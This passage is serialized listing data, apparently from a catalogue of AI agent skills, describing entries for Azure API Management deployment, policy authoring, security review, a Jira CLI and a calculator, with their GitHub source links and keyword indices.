deployment of Azure API Management infrastructure using Infrastructure as Code (Bicep\u002FTerraform), CI\u002FCD pipelines (GitHub Actions\u002FAzure DevOps), and APIOps workflows. Use when deploying APIM, creating pipelines, or implementing dev→test→prod promotion strategies.","https:\u002F\u002Fgithub.com\u002Fmicsapp\u002Fmicstec-skills\u002Fblob\u002Fmaster\u002Fcopilot-cli\u002Fcopilot-agent-skills\u002F.github\u002Fskills\u002Fapiops-deployment\u002FSKILL.md",[],[121,122,123,124,95,125,126,127,128,129,130,131,103,104,110,132,133,111,134,135],"deployment","apiops deployment","workflows","azure devops","infrastructure","code","infrastructure as code","actions","ci","github actions","github-actions","as","guides","CI\u002FCD","implementing",{"skillNo":137,"name":138,"nameZh":6,"description":139,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":6,"repositoryNo":12,"starsCount":13,"licenseSpdxId":90,"licenseFileUrl":6,"sourceHtmlUrl":140,"categories":141,"keywords":142,"publishedAt":38},"01M6HBT2HEA23THNE9E00GYQBE","apim-policy-authoring","Creates production-ready Azure API Management policy XML for authentication (OAuth 2.0, JWT validation, subscription keys), rate limiting, CORS configuration, error handling, and API transformations. Use when implementing API security, access control, or request\u002Fresponse processing logic.","https:\u002F\u002Fgithub.com\u002Fmicsapp\u002Fmicstec-skills\u002Fblob\u002Fmaster\u002Fcopilot-cli\u002Fcopilot-agent-skills\u002F.github\u002Fskills\u002Fapim-policy-authoring\u002FSKILL.md",[],[143,144,145,36,95,98,103,104,146,147,148,149,150,151,152,111,153,154,135,113],"policy","authoring","apim policy authoring","access","use","ready","api security","Access Control","error","processing","cors configuration","production-ready",{"skillNo":156,"name":157,"nameZh":6,"description":158,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":6,"repositoryNo":12,"starsCount":13,"licenseSpdxId":90,"licenseFileUrl":6,"sourceHtmlUrl":159,"categories":160,"keywords":161,"publishedAt":38},"01M6HBSY65SB29J9WE9KYD0K6T","api-security-review","Reviews Azure API Management configurations for security vulnerabilities, OWASP API Security Top 10 compliance, VNet Internal mode validation, Private Link verification, and Azure Security Benchmark alignment. Use when performing security audits, pre-deployment validation, or compliance reviews.","https:\u002F\u002Fgithub.com\u002Fmicsapp\u002Fmicstec-skills\u002Fblob\u002Fmaster\u002Fcopilot-cli\u002Fcopilot-agent-skills\u002F.github\u002Fskills\u002Fapi-security-review\u002FSKILL.md",[],[162,36,163,103,149,164,95,121,165,166,33,167,104,168,111,169,170,171,112,113],"review","security review","api security review","benchmark","verification","owasp-api","alignment","azure security","reviews","top",{"skillNo":173,"name":174,"nameZh":6,"description":175,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":6,"repositoryNo":12,"starsCount":13,"licenseSpdxId":90,"licenseFileUrl":6,"sourceHtmlUrl":176,"categories":177,"keywords":178,"publishedAt":38},"01M6HBSRW4PDFE6K4F8JYPZQ05","jira-cli","Interact with Jira from the command line to create, list, view, edit, and transition issues, manage sprints and epics, and perform common Jira workflows. Use when the user asks about Jira tasks, tickets, issues, sprints, or needs to manage project work items.","https:\u002F\u002Fgithub.com\u002Fmicsapp\u002Fmicstec-skills\u002Fblob\u002Fmaster\u002Fcopilot-cli\u002Fawesome-copilot-agents\u002Fskills\u002Fjira-cli\u002FSKILL.md",[],[179,180,181,123,182,183,184,185,103,186,187,188,189,190,191,192,193,194,195,196],"cli","jira","jira cli","init","tasks","create","issues","common","work","command","edit","list","view","project","project work","token","line","sprints",{"skillNo":198,"name":199,"nameZh":6,"description":200,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":6,"repositoryNo":12,"starsCount":13,"licenseSpdxId":90,"licenseFileUrl":6,"sourceHtmlUrl":201,"categories":202,"keywords":203,"publishedAt":38},"01M6HBSNS3JHMW603G47TWE31H","calculator","Performs arbitrary-precision arithmetic calculations including addition, subtraction, multiplication, division, and exponents. Use when the user asks to calculate, compute, or evaluate math expressions, or when precise decimal arithmetic is needed to avoid floating-point errors.","https:\u002F\u002Fgithub.com\u002Fmicsapp\u002Fmicstec-skills\u002Fblob\u002Fmaster\u002Fcopilot-cli\u002Fawesome-copilot-agents\u002Fskills\u002Fcalculator\u002FSKILL.md",[],[199,204,205,206,207,208,209,147,210,211],"npm","js","calculate","node","math","user","compute","errors"]